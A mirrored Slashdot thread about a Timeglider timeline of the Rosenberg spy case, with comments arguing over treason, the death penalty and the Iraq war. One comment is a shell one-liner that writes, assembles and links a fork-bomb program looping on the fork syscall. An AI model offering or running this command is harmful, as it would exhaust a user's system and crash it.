Slashdot Mirror
Timeglider Software Outlines Rosenberg Spy Case
An anonymous reader writes "Related to the previous story on Slashdot on the release of the Vassiliev Notebooks: the Cold War project has created a timeline on the Rosenberg spy ring (using Timeglider — a web-based, Flash-powered software for creating timelines), integrating the documentation from the Venona Intercepts, the FBI files related to industrial and atomic espionage, the Rosenberg trial papers and the Vassiliev notebooks in a easy-to-digest, complete picture of the evidence on the Rosenberg's involvement in atomic espionage. It can be accessed via the project's webpage. The use of Timeglider makes understanding the complex nature of the case and the newly available documentation more manageable."
Treason is to act against your own countrymen in the service of another country. But is that really what it boils down to when you prevent more deaths through dissemination of state secrets? Is it really an offense worthy of death to act according to your own morality?
Meh. What the Rosenbergs did - giving atomic secrets to a hostile tyranny is treason. I'm no fan of the death penalty, but it's definitely a serious crime. And I'm sure if the sort of people the Rosenbergs had favoured had ended up running the country there would have been a lot more people executed under treason charges who were just 'acting under their own morality', treason being a popular though spurious charge in Stalinist show trials.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
(using Timeglider â" a web-based, flash powered, software for creating timelines) ... The use of Timeglider makes understanding the complex nature of the case, and the newly available documentation more manageable."
Yes we get the picture
Doesn't seem to work very well. Maybe I'm doing it wrong, but it didn't do anything to enhance my experience or make the information easier to digest. If anything, it made it more confusing and less informative.
... and then they built the supercollider.
There is a moral difference between the US killing 5000 civilians who get caught up in the crossfire between US troops and Iraqi insurgents and Saddam killing 50 people because they were "enemies of the state." The "anti-war" movement blurs the distinction between unfortunate facts of war and murder. Plenty of innocent French, Italians and Belgians died as the allies pushed the Germans out of their countries, but there is an extreme difference between those casualties and willfully inflicted murders.
I didn't support the war in Iraq as a matter of principle. I don't believe it's worth American lives, treasure or liberty to get involved in these matters unless either we're going to end up in the aggressors' crosshairs at some point, or the country serves a strategic interest that we cannot ignore. Very, very few conflicts have ever fit those descriptions.
Your question is absurd.
If I understand your first point, the superficial one is "if your action demonstratably saves more lives than it cost, is it really wrong?"
As far as the Iraq war, you seem so certain. I'd ask: in what scope? According to varied estimates, there are something like 500,000-1 million Iraqis that probably would have wished Saddam was ousted earlier. This grossly overshadows the (high) estimate of 100,000 Iraqi civilians slain as a result of the current war plus the (trivial, in a military sense) number military deaths.
Of course, the point you're making is about the Rosenbergs. How did them selling secrets to the Soviets "save lives"? One could argue that having the bomb, and feeling secure against any serious military opposition allowed Stalin and subsequent Soviet leaders to embark on their later actions without fear. One could thus logically lay ALL the deaths of the Cold War - all the internal Soviet purges (no real American analogue there, for you moral relativists, sorry) and all the brushfire proxy wars - at the feet of the Rosenbergs. So how many lives did their actions "save" again?
Your second is stated more clearly: "Is it really an offense worthy of death to act according to your own morality?"
I'm staggered by the naivete and simplistic egoism that would fuel this question. More accurately, one might ask what sort of a society one would create if everyone (not just you, remember) were allowed to act according to their own morality? Remember, not everyone has your set of life rules: there's the Austrian guy who imprisoned his own daughter for what, 30 years? meanwhile impregnating her several times. Can he act according to HIS morality? Is that fine? What about the fellow who feels its perfectly justifiable to take the goods of others, because he NEEDS them more to support a really strong drug addiction?
There are LOTS of moral compasses out there, and despite how simple it might look to some, it doesn't take a lot of life experience to see that they don't all point toward the same "north". To suggest that people should just be able to follow their own morality is tantamount to a Hobbesian state of nature "red in tooth and claw" where the strongest get to do what they want simply because they are the strongest or most brutal.
To explain it simply, a society is a collective of people who generally agree on a set of behavioral norms. If you violate those norms, you're subject to the punishment of the society as a whole. American society - a vocal minority aside - has settled on the idea that the worst offenders shall be killed. Like it or not. Fortunately, in modern western culture, one of the norms is that you can say "I don't agree with this set of values" and LEAVE, seeking something better.
The irony (in my view) is that most of the people in the US who complain about how they don't like this or that, tend not to understand that comparatively, they're going to have a hard time finding another society that has the combination of physical conveniences, economic opportunities, and political freedoms, so they end up just staying here and filling the internet with pointless whinging.
-Styopa
If Saddam was worse, why did all those people fleeing Iraq waited until the invasion?
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
Well, I'm biased (being a founder of TimeGlider), but none of these other tools provides a user the ability to quickly, with a nice ui, start making and sharing timelines. Timerime.com IS actually flash-based, Mr. Grumpypants. There's also Dipity.com, which is not Flash-based. Each has its strengths and flaws. We're getting lots of positive feedback today, as well as lots of helpful bug reports : ) Thanks /. !